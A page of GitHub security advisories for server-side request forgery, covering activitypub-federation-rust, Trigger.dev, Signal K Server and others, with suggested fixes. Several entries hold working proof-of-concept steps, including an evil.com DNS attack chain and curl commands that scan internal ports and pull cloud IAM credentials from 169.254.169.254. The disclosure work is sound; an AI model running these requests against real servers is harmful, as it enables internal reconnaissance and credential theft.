Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

6271 vulnerabilities reference this CWE, most recent first.

GHSA-Q537-8FR5-CW35

Vulnerability from github – Published: 2026-03-25 20:23 – Updated: 2026-03-27 21:36
VLAI
Summary
Activitypub-Federation has SSRF via 0.0.0.0 bypass in activitypub-federation-rust v4_is_invalid()
Details

Summary

The v4_is_invalid() function in activitypub-federation-rust (src/utils.rs) does not check for Ipv4Addr::UNSPECIFIED (0.0.0.0). An unauthenticated attacker controlling a remote domain can point it to 0.0.0.0, bypass the SSRF protection introduced by the fix for CVE-2025-25194 (GHSA-7723-35v7-qcxw), and reach localhost services on the target server.

Details

File: src/utils.rs in activitypub-federation-rust Function: v4_is_invalid(v4: Ipv4Addr) -> bool

The function checks is_private(), is_loopback(), is_link_local(), is_multicast(), and is_documentation() — but omits is_unspecified(). On Linux, macOS, and Windows, TCP connections to 0.0.0.0 are routed to localhost (127.0.0.1).

Additionally, ::ffff:0.0.0.0 (IPv4-mapped IPv6) also bypasses because v6_is_invalid() calls to_ipv4_mapped().is_some_and(v4_is_invalid), inheriting the same gap. Notably, v6_is_invalid() already includes is_unspecified() for native IPv6, making this an asymmetric oversight.

Independent secondary finding — DNS Rebinding TOCTOU: is_invalid_ip() resolves DNS via lookup_host() for validation, but reqwest resolves DNS again for the actual connection. With TTL=0 DNS responses, an attacker can return a legitimate IP for the first resolution (passes check) and 127.0.0.1 for the second (reqwest connects to localhost). CVSS for rebinding alone: 4.8 (AC:H).

PoC

1. Logic Proof (reproduced from source):

fn v4_is_invalid(v4: Ipv4Addr) -> bool {
    v4.is_private()
        || v4.is_loopback()
        || v4.is_link_local()
        || v4.is_multicast()
        || v4.is_documentation()
    // BUG: Missing || v4.is_unspecified()
}

assert_eq!(v4_is_invalid(Ipv4Addr::UNSPECIFIED), false);  // 0.0.0.0 PASSES validation
assert_eq!(v4_is_invalid(Ipv4Addr::LOCALHOST), true);     // 127.0.0.1 correctly blocked

2. OS Routing Verification:

$ connect(0.0.0.0:80) → ConnectionRefused

ConnectionRefused proves the OS routed to localhost (port 80 not listening). Any service on 0.0.0.0:PORT is reachable.

3. Attack Chain:

  1. Attacker configures DNS: evil.com A → 0.0.0.0
    1. Attacker sends ActivityPub activity referencing https://evil.com/actor
    1. Library calls verify_url_valid() → is_invalid_ip() → resolves to 0.0.0.0
    1. v4_is_invalid(0.0.0.0) returns false (BYPASS)
    1. reqwest connects to 0.0.0.0 → reaches localhost services

Impact

  • Direct: Bypasses the SSRF protection layer for all ActivityPub federation traffic
    • Downstream: 6+ dependent projects affected including Lemmy (13.7k stars), hatsu, gill, ties, fediscus, fediverse-axum
    • Attacker can: Access cloud instance metadata (169.254.169.254 via rebinding), reach internal services on localhost, port scan internal infrastructure

Suggested Fix

fn v4_is_invalid(v4: Ipv4Addr) -> bool {
    v4.is_private()
        || v4.is_loopback()
        || v4.is_link_local()
        || v4.is_multicast()
        || v4.is_documentation()
        || v4.is_unspecified()    // ADD: blocks 0.0.0.0
        || v4.is_broadcast()      // ADD: blocks 255.255.255.255
}

For DNS rebinding TOCTOU, pin the resolved IP:

let resolved_ip = lookup_host((domain, 80)).await?;
// validate resolved_ip...
let client = reqwest::Client::builder()
    .resolve(domain, resolved_ip)  // pin resolution
    .build()?;
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "activitypub_federation"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.7.0-beta.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33693"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-25T20:23:38Z",
    "nvd_published_at": "2026-03-27T01:16:18Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe `v4_is_invalid()` function in `activitypub-federation-rust` (`src/utils.rs`) does not check for `Ipv4Addr::UNSPECIFIED` (0.0.0.0). An unauthenticated attacker controlling a remote domain can point it to 0.0.0.0, bypass the SSRF protection introduced by the fix for CVE-2025-25194 (GHSA-7723-35v7-qcxw), and reach localhost services on the target server.\n\n### Details\n\n**File:** `src/utils.rs` in `activitypub-federation-rust`\n**Function:** `v4_is_invalid(v4: Ipv4Addr) -\u003e bool`\n\nThe function checks `is_private()`, `is_loopback()`, `is_link_local()`, `is_multicast()`, and `is_documentation()` \u2014 but omits `is_unspecified()`. On Linux, macOS, and Windows, TCP connections to 0.0.0.0 are routed to localhost (127.0.0.1).\n\nAdditionally, `::ffff:0.0.0.0` (IPv4-mapped IPv6) also bypasses because `v6_is_invalid()` calls `to_ipv4_mapped().is_some_and(v4_is_invalid)`, inheriting the same gap. Notably, `v6_is_invalid()` already includes `is_unspecified()` for native IPv6, making this an asymmetric oversight.\n\n**Independent secondary finding \u2014 DNS Rebinding TOCTOU:**\n`is_invalid_ip()` resolves DNS via `lookup_host()` for validation, but `reqwest` resolves DNS again for the actual connection. With TTL=0 DNS responses, an attacker can return a legitimate IP for the first resolution (passes check) and 127.0.0.1 for the second (reqwest connects to localhost). CVSS for rebinding alone: 4.8 (AC:H).\n\n### PoC\n\n**1. Logic Proof (reproduced from source):**\n\n```rust\nfn v4_is_invalid(v4: Ipv4Addr) -\u003e bool {\n    v4.is_private()\n        || v4.is_loopback()\n        || v4.is_link_local()\n        || v4.is_multicast()\n        || v4.is_documentation()\n    // BUG: Missing || v4.is_unspecified()\n}\n\nassert_eq!(v4_is_invalid(Ipv4Addr::UNSPECIFIED), false);  // 0.0.0.0 PASSES validation\nassert_eq!(v4_is_invalid(Ipv4Addr::LOCALHOST), true);     // 127.0.0.1 correctly blocked\n```\n\n**2. OS Routing Verification:**\n\n```\n$ connect(0.0.0.0:80) \u2192 ConnectionRefused\n```\n\nConnectionRefused proves the OS routed to localhost (port 80 not listening). Any service on 0.0.0.0:PORT is reachable.\n\n**3. Attack Chain:**\n\n1. Attacker configures DNS: `evil.com A \u2192 0.0.0.0`\n2. 2. Attacker sends ActivityPub activity referencing `https://evil.com/actor`\n3. 3. Library calls `verify_url_valid()` \u2192 `is_invalid_ip()` \u2192 resolves to 0.0.0.0\n4. 4. `v4_is_invalid(0.0.0.0)` returns `false` (BYPASS)\n5. 5. `reqwest` connects to 0.0.0.0 \u2192 reaches localhost services\n### Impact\n\n- **Direct:** Bypasses the SSRF protection layer for all ActivityPub federation traffic\n- - **Downstream:** 6+ dependent projects affected including Lemmy (13.7k stars), hatsu, gill, ties, fediscus, fediverse-axum\n- - **Attacker can:** Access cloud instance metadata (169.254.169.254 via rebinding), reach internal services on localhost, port scan internal infrastructure\n### Suggested Fix\n\n```rust\nfn v4_is_invalid(v4: Ipv4Addr) -\u003e bool {\n    v4.is_private()\n        || v4.is_loopback()\n        || v4.is_link_local()\n        || v4.is_multicast()\n        || v4.is_documentation()\n        || v4.is_unspecified()    // ADD: blocks 0.0.0.0\n        || v4.is_broadcast()      // ADD: blocks 255.255.255.255\n}\n```\n\nFor DNS rebinding TOCTOU, pin the resolved IP:\n\n```rust\nlet resolved_ip = lookup_host((domain, 80)).await?;\n// validate resolved_ip...\nlet client = reqwest::Client::builder()\n    .resolve(domain, resolved_ip)  // pin resolution\n    .build()?;\n```",
  "id": "GHSA-q537-8fr5-cw35",
  "modified": "2026-03-27T21:36:54Z",
  "published": "2026-03-25T20:23:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/LemmyNet/lemmy/security/advisories/GHSA-q537-8fr5-cw35"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33693"
    },
    {
      "type": "WEB",
      "url": "https://github.com/LemmyNet/activitypub-federation-rust/commit/4ae8532b17bc35755240b7f55d4a5b7665351599"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/LemmyNet/activitypub-federation-rust"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-7723-35v7-qcxw"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Activitypub-Federation has SSRF via 0.0.0.0 bypass in activitypub-federation-rust v4_is_invalid()"
}

GHSA-Q543-X74M-R8Q9

Vulnerability from github – Published: 2026-02-18 00:30 – Updated: 2026-02-18 00:30
VLAI
Details

StorageGRID (formerly StorageGRID Webscale) versions prior to 11.9.0.12 and 12.0.0.4 with Single Sign-on enabled and configured to use Microsoft Entra ID (formerly Azure AD) as an IdP are susceptible to a Server-Side Request Forgery (SSRF) vulnerability. Successful exploit could allow an authenticated attacker with low privileges to delete configuration data or deny access to some resources.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-22048"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-18T00:16:18Z",
    "severity": "HIGH"
  },
  "details": "StorageGRID (formerly StorageGRID Webscale) versions prior to 11.9.0.12 and 12.0.0.4 with Single Sign-on enabled and configured to use Microsoft Entra ID (formerly Azure AD) as an IdP are susceptible to a Server-Side Request Forgery (SSRF) vulnerability. Successful exploit could allow an authenticated attacker with low privileges to delete configuration data or deny access to some resources.",
  "id": "GHSA-q543-x74m-r8q9",
  "modified": "2026-02-18T00:30:16Z",
  "published": "2026-02-18T00:30:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22048"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/NTAP-20260217-0001"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q567-CR4X-96W4

Vulnerability from github – Published: 2026-10-02 22:35 – Updated: 2026-10-02 22:35
VLAI
Summary
Trigger.dev: Blind SSRF via alert-channel webhook
Details

Summary

A WEBHOOK alert channel stores a user-supplied url. When an alert fires (deployment/run failure, error groups), the webapp server (alertsWorker -> DeliverAlertService) POSTs the HMAC-signed alert payload to that URL via fetch(webhook.url, ...). The URL is never validated against a host allowlist or private-IP/metadata blocklist (a repo-wide search for 169.254, isPrivate, isLoopback, net.isIP, ssrf returns ZERO hits), and the API route's URL field is just z.string().optional() (no syntax check at all). So an authenticated tenant can point the webhook at internal infrastructure or 169.254.169.254 and the multi-tenant server fetches it.

Affected

apps/webapp, HEAD 5d99457 (current main).

Root cause

  • Source (API route): app/presenters/v3/ApiAlertChannelPresenter.server.ts ApiAlertChannelData.url = z.string().optional() (no host validation); route app/routes/api.v1.projects.$projectRef.alertChannels.ts (PAT-auth).
  • Store: app/v3/services/alerts/createAlertChannel.server.ts persists {url, secret, version} verbatim.
  • Sink: app/v3/services/alerts/deliverAlert.server.ts:973 fetch(webhook.url, {method:"POST", headers:{"x-trigger-signature-hmacsha256":...}, body:rawPayload}); identical at deliverErrorGroupAlert.server.ts:258. Runs inside the webapp process; fetch follows redirects (IMDSv1-via-redirect). No egress guard anywhere.

Runtime PoC (proven on self-host)

Seeded a project + STAGING env + a WEBHOOK channel with url=http://host.docker.internal:7766/... (an internal address from the server's POV) + a DEPLOYING deployment. Triggered via the public API POST /api/v1/deployments/deployment_ssrfpoc/fail -> 200 -> FAILED -> alertsWorker -> the server fetched the listener. Captured:

POST /ssrf-via-webhook HTTP/1.1
host: host.docker.internal:7766
x-trigger-signature-hmacsha256: <redacted>
user-agent: node
{"type":"alert.deployment.failed", ...}

The webapp server (user-agent: node) made an outbound POST to the attacker-chosen internal URL; 169.254.169.254 / any internal host works identically.

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N ~ Medium. Blind (response not reflected) + POST-only (fixed body = signed alert payload), so it enables internal port/host scanning (delivery success/timing oracle), state-changing POSTs to internal services, and IMDSv1-via-redirect — not arbitrary GET exfiltration. PR:L (authenticated tenant). Egress private-IP/metadata blocking on server-issued webhooks is industry standard; its absence is the defect.

Suggested fix

Validate the webhook URL on create (require http(s), resolve host, reject private/link-local/loopback/metadata ranges) AND re-check at fetch time (re-resolve after redirects or disable redirects / pin to resolved public IP). A shared assertPublicUrl(url) used by createAlertChannel + the two delivery sinks.

Dup

Distinct CWE-918 class from the IDOR advisories. FRESH. (The Grav maintainer independently hardened the same webhook-URL-SSRF class in grav-plugin-api commit dfcc947 on 2026-06-26 — corroborating the class is real and fixable.)

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.5.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "trigger.dev"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-02T22:35:31Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nA WEBHOOK alert channel stores a user-supplied `url`. When an alert fires (deployment/run failure, error groups), the webapp server (`alertsWorker` -\u003e `DeliverAlertService`) POSTs the HMAC-signed alert payload to that URL via `fetch(webhook.url, ...)`. The URL is never validated against a host allowlist or private-IP/metadata blocklist (a repo-wide search for `169.254`, `isPrivate`, `isLoopback`, `net.isIP`, `ssrf` returns ZERO hits), and the API route\u0027s URL field is just `z.string().optional()` (no syntax check at all). So an authenticated tenant can point the webhook at internal infrastructure or `169.254.169.254` and the multi-tenant server fetches it.\n\n### Affected\n`apps/webapp`, HEAD `5d99457` (current main).\n\n### Root cause\n- Source (API route): `app/presenters/v3/ApiAlertChannelPresenter.server.ts` `ApiAlertChannelData.url = z.string().optional()` (no host validation); route `app/routes/api.v1.projects.$projectRef.alertChannels.ts` (PAT-auth).\n- Store: `app/v3/services/alerts/createAlertChannel.server.ts` persists `{url, secret, version}` verbatim.\n- Sink: `app/v3/services/alerts/deliverAlert.server.ts:973` `fetch(webhook.url, {method:\"POST\", headers:{\"x-trigger-signature-hmacsha256\":...}, body:rawPayload})`; identical at `deliverErrorGroupAlert.server.ts:258`. Runs inside the webapp process; `fetch` follows redirects (IMDSv1-via-redirect). No egress guard anywhere.\n\n### Runtime PoC (proven on self-host)\nSeeded a project + STAGING env + a WEBHOOK channel with `url=http://host.docker.internal:7766/...` (an internal address from the server\u0027s POV) + a DEPLOYING deployment. Triggered via the public API `POST /api/v1/deployments/deployment_ssrfpoc/fail` -\u003e 200 -\u003e FAILED -\u003e alertsWorker -\u003e the server fetched the listener. Captured:\n```\nPOST /ssrf-via-webhook HTTP/1.1\nhost: host.docker.internal:7766\nx-trigger-signature-hmacsha256: \u003credacted\u003e\nuser-agent: node\n{\"type\":\"alert.deployment.failed\", ...}\n```\nThe webapp server (user-agent: node) made an outbound POST to the attacker-chosen internal URL; 169.254.169.254 / any internal host works identically.\n\n### Severity\n`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N` ~ Medium. Blind (response not reflected) + POST-only (fixed body = signed alert payload), so it enables internal port/host scanning (delivery success/timing oracle), state-changing POSTs to internal services, and IMDSv1-via-redirect \u2014 not arbitrary GET exfiltration. PR:L (authenticated tenant). Egress private-IP/metadata blocking on server-issued webhooks is industry standard; its absence is the defect.\n\n### Suggested fix\nValidate the webhook URL on create (require http(s), resolve host, reject private/link-local/loopback/metadata ranges) AND re-check at fetch time (re-resolve after redirects or disable redirects / pin to resolved public IP). A shared `assertPublicUrl(url)` used by `createAlertChannel` + the two delivery sinks.\n\n### Dup\nDistinct CWE-918 class from the IDOR advisories. FRESH. (The Grav maintainer independently hardened the same webhook-URL-SSRF class in grav-plugin-api commit dfcc947 on 2026-06-26 \u2014 corroborating the class is real and fixable.)",
  "id": "GHSA-q567-cr4x-96w4",
  "modified": "2026-10-02T22:35:31Z",
  "published": "2026-10-02T22:35:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/triggerdotdev/trigger.dev/security/advisories/GHSA-q567-cr4x-96w4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/triggerdotdev/trigger.dev/pull/4199"
    },
    {
      "type": "WEB",
      "url": "https://github.com/triggerdotdev/trigger.dev/commit/34b1a181c2a1d33a53ebab88f84b05f81fea4254"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/triggerdotdev/trigger.dev"
    },
    {
      "type": "WEB",
      "url": "https://github.com/triggerdotdev/trigger.dev/releases/tag/v4.5.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Trigger.dev: Blind SSRF via alert-channel webhook"
}

GHSA-Q56H-X9H5-Q53C

Vulnerability from github – Published: 2022-06-10 00:00 – Updated: 2022-06-17 21:48
VLAI
Summary
Server-Side Request Forgery in kityminder
Details

Kity Minder v1.3.5 was discovered to contain a Server-Side Request Forgery (SSRF) via the init function at ImageCapture.class.php.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "kityminder"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.3.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-31830"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-06-17T21:48:55Z",
    "nvd_published_at": "2022-06-09T14:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Kity Minder v1.3.5 was discovered to contain a Server-Side Request Forgery (SSRF) via the init function at ImageCapture.class.php.",
  "id": "GHSA-q56h-x9h5-q53c",
  "modified": "2022-06-17T21:48:55Z",
  "published": "2022-06-10T00:00:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31830"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fex-team/kityminder/issues/345"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/fex-team/kityminder"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Server-Side Request Forgery in kityminder"
}

GHSA-Q57F-4WJ6-3JFC

Vulnerability from github – Published: 2023-02-20 18:30 – Updated: 2024-07-23 21:31
VLAI
Details

Limited Server-Side Request Forgery (SSRF) in agent-receiver in Tribe29's Checkmk <= 2.1.0p11 allows an attacker to communicate with local network restricted endpoints by use of the host registration API.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-48321"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-02-20T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "Limited Server-Side Request Forgery (SSRF) in agent-receiver in Tribe29\u0027s Checkmk \u003c= 2.1.0p11 allows an attacker to communicate with local network restricted endpoints by use of the host registration API.",
  "id": "GHSA-q57f-4wj6-3jfc",
  "modified": "2024-07-23T21:31:32Z",
  "published": "2023-02-20T18:30:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-48321"
    },
    {
      "type": "WEB",
      "url": "https://checkmk.com/werk/14385"
    },
    {
      "type": "WEB",
      "url": "https://www.sonarsource.com/blog/checkmk-rce-chain-1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q57Q-P5MG-4C5W

Vulnerability from github – Published: 2025-01-10 00:30 – Updated: 2025-01-10 00:30
VLAI
Details

A Server-Side Request Forgery (SSRF) vulnerability in Microsoft Purview allows an authorized attacker to disclose information over a network.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-21385"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-09T22:15:29Z",
    "severity": "HIGH"
  },
  "details": "A Server-Side Request Forgery (SSRF) vulnerability in Microsoft Purview allows an authorized attacker to disclose information over a network.",
  "id": "GHSA-q57q-p5mg-4c5w",
  "modified": "2025-01-10T00:30:36Z",
  "published": "2025-01-10T00:30:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-21385"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-21385"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q59X-JC9F-GFQF

Vulnerability from github – Published: 2026-06-18 21:13 – Updated: 2026-06-18 21:13
VLAI
Summary
Signal K Server: Server-Side Request Forgery via Remote Connection Endpoints
Details

Summary

signalk-server versions up to and including 2.27.0 contain a Server-Side Request Forgery (SSRF) vulnerability in three administrative endpoints used for remote Signal K server connection management. The makeRemoteRequest() function accepts attacker-controlled host, port, useTLS, and selfsignedcert parameters without any validation, allowing an attacker to force the server to make arbitrary HTTP/HTTPS requests to internal network resources, cloud metadata services, and other unintended destinations.

When security is not configured (the default state), these endpoints require no authentication.

Details

Vulnerable Function

The core vulnerability is in makeRemoteRequest() at src/serverroutes.ts:2483-2524:

function makeRemoteRequest(
  host: string,
  port: number,
  useTLS: boolean,
  selfsignedcert: boolean,
  path: string,
  method?: string,
  headers?: Record<string, string>,
  body?: unknown
): Promise<{ status: number | undefined; data: string }> {
  const protocol = useTLS ? https : http
  return new Promise((resolve, reject) => {
    const options = {
      hostname: host,         // NO VALIDATION - attacker controlled
      port,                   // NO VALIDATION - attacker controlled
      path,
      method: method || 'GET',
      headers: {
        ...(headers || {}),
        ...(body ? { 'Content-Type': 'application/json' } : {})
      },
      rejectUnauthorized: !selfsignedcert  // Attacker can disable TLS verification
    }
    const req = protocol.request(options, (response) => {
      let data = ''
      response.on('data', (chunk: string) => {
        data += chunk
      })
      response.on('end', () => {
        resolve({ status: response.statusCode, data })
      })
    })
    req.on('error', reject)
    req.setTimeout(10000, () => {
      req.destroy(new Error('Connection timed out'))
    })
    if (body) {
      req.write(JSON.stringify(body))
    }
    req.end()
  })
}

Missing Validation

The function performs zero validation on the destination host. The following address ranges are all reachable:

  • Loopback: 127.0.0.1, ::1, localhost
  • RFC 1918 private ranges: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16
  • Link-local / Cloud metadata: 169.254.169.254 (AWS EC2 instance metadata, GCP, Azure IMDS)
  • IPv6 link-local: fe80::/10
  • Any arbitrary external host: enabling the server as an open proxy

Authentication Bypass via Default Configuration

The endpoints are protected by addAdminMiddleware() (lines 2339-2345):

app.securityStrategy.addAdminMiddleware(`${SERVERROUTESPREFIX}/testSignalKConnection`)
app.securityStrategy.addAdminMiddleware(`${SERVERROUTESPREFIX}/requestAccess`)
app.securityStrategy.addAdminMiddleware(`${SERVERROUTESPREFIX}/checkAccessRequest`)

However, when security is not configured, the server uses dummysecurity.ts, where addAdminMiddleware is a no-op:

addAdminMiddleware: () => {},

This means on a default installation with no admin user created, all three endpoints are accessible without any authentication.

Additional Attack Surface: TLS Verification Bypass

The selfsignedcert parameter directly controls rejectUnauthorized:

rejectUnauthorized: !selfsignedcert

When an attacker sets selfsignedcert: true, the server will connect to any HTTPS endpoint without verifying the TLS certificate, enabling MITM attacks on the outbound connection.

Additional Attack Surface: Path Traversal in checkAccessRequest

The checkAccessRequest endpoint interpolates requestId directly into the URL path:

`/signalk/v1/requests/${requestId}`

An attacker can use path traversal (e.g., requestId: "../../other/endpoint") to target arbitrary paths on the destination host.

PoC

Target Setup

Set up a bare-metal signalk-server for testing (or use Docker to simulate):

docker run -d --name signalk-ssrf-poc -p 3000:3000 node:22-bookworm \
  bash -c 'npm install -g signalk-server@2.27.0 && signalk-server'

# Wait for startup
until curl -s http://127.0.0.1:3000/skServer/loginStatus 2>/dev/null | grep -q "status"; do sleep 10; done

Set the target variable:

TARGET=http://127.0.0.1:3000

Confirm "authenticationRequired":false in the loginStatus response before proceeding.

PoC 1: Loopback Connection (Self-Discovery)

curl -s -X POST $TARGET/skServer/testSignalKConnection \
  -H "Content-Type: application/json" \
  -d '{"host":"127.0.0.1","port":3000,"useTLS":false,"selfsignedcert":false}'

Response (confirms SSRF, the server connected to itself):

{
  "success": true,
  "authenticated": false,
  "server": {
    "id": "signalk-server-node",
    "version": "2.27.0"
  }
}

PoC 2: Port Scanning via Error Differentiation

# Open port (3000) — returns server data
curl -s -X POST $TARGET/skServer/testSignalKConnection \
  -H "Content-Type: application/json" \
  -d '{"host":"127.0.0.1","port":3000,"useTLS":false,"selfsignedcert":false}'
# Response: {"success":true,"server":{"id":"signalk-server-node","version":"2.27.0"}}

# Closed port (9999) — immediate ECONNREFUSED
curl -s -X POST $TARGET/skServer/testSignalKConnection \
  -H "Content-Type: application/json" \
  -d '{"host":"127.0.0.1","port":9999,"useTLS":false,"selfsignedcert":false}'
# Response: {"success":false,"error":"connect ECONNREFUSED 127.0.0.1:9999"}

# Filtered port — 10-second timeout then error
curl -s -X POST $TARGET/skServer/testSignalKConnection \
  -H "Content-Type: application/json" \
  -d '{"host":"10.0.0.1","port":22,"useTLS":false,"selfsignedcert":false}'
# Response (after 10s): {"success":false,"error":"Connection timed out"}

The three distinct error responses allow an attacker to map internal network topology.

PoC 3: AWS Instance Metadata Service (IMDSv1)

On a cloud-hosted signalk-server (AWS EC2):

curl -s -X POST $TARGET/skServer/testSignalKConnection \
  -H "Content-Type: application/json" \
  -d '{"host":"169.254.169.254","port":80,"useTLS":false,"selfsignedcert":false}'

The server connects to the EC2 metadata endpoint. The response will contain the discovery JSON parse result, leaking metadata. For deeper paths, use checkAccessRequest with path traversal in requestId:

curl -s -X POST $TARGET/skServer/checkAccessRequest \
  -H "Content-Type: application/json" \
  -d '{"host":"169.254.169.254","port":80,"useTLS":false,"selfsignedcert":false,"requestId":"../../latest/meta-data/iam/security-credentials/ROLE_NAME"}'

Impact

  1. Internal Network Scanning: An attacker can probe internal hosts and ports. The response distinguishes between open ports (HTTP response returned), closed ports (connection refused error), and filtered ports (timeout after 10 seconds).

  2. Cloud Metadata Exfiltration: On cloud-hosted instances (AWS EC2, GCP, Azure), an attacker can reach the instance metadata service at 169.254.169.254 to steal IAM credentials, instance identity tokens, and other sensitive metadata.

  3. Internal Service Data Exfiltration: The testSignalKConnection endpoint returns the full response body from the target, allowing reading of data from internal HTTP services not otherwise accessible from the internet.

  4. Server-Side POST Requests: The requestAccess endpoint sends a POST request with attacker-controlled JSON body (clientId, description), enabling interaction with internal APIs that accept POST requests.

  5. Lateral Movement: In containerized or Kubernetes environments, the server can be used to access cluster-internal services, the Kubernetes API, or other containers on the Docker network.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.27.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "signalk-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.28.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55591"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T21:13:36Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nsignalk-server versions up to and including 2.27.0 contain a Server-Side Request Forgery (SSRF) vulnerability in three administrative endpoints used for remote Signal K server connection management. The `makeRemoteRequest()` function accepts attacker-controlled `host`, `port`, `useTLS`, and `selfsignedcert` parameters without any validation, allowing an attacker to force the server to make arbitrary HTTP/HTTPS requests to internal network resources, cloud metadata services, and other unintended destinations.\n\nWhen security is not configured (the default state), these endpoints require **no authentication**.\n\n### Details\n#### Vulnerable Function\n\nThe core vulnerability is in `makeRemoteRequest()` at `src/serverroutes.ts:2483-2524`:\n\n```typescript\nfunction makeRemoteRequest(\n  host: string,\n  port: number,\n  useTLS: boolean,\n  selfsignedcert: boolean,\n  path: string,\n  method?: string,\n  headers?: Record\u003cstring, string\u003e,\n  body?: unknown\n): Promise\u003c{ status: number | undefined; data: string }\u003e {\n  const protocol = useTLS ? https : http\n  return new Promise((resolve, reject) =\u003e {\n    const options = {\n      hostname: host,         // NO VALIDATION - attacker controlled\n      port,                   // NO VALIDATION - attacker controlled\n      path,\n      method: method || \u0027GET\u0027,\n      headers: {\n        ...(headers || {}),\n        ...(body ? { \u0027Content-Type\u0027: \u0027application/json\u0027 } : {})\n      },\n      rejectUnauthorized: !selfsignedcert  // Attacker can disable TLS verification\n    }\n    const req = protocol.request(options, (response) =\u003e {\n      let data = \u0027\u0027\n      response.on(\u0027data\u0027, (chunk: string) =\u003e {\n        data += chunk\n      })\n      response.on(\u0027end\u0027, () =\u003e {\n        resolve({ status: 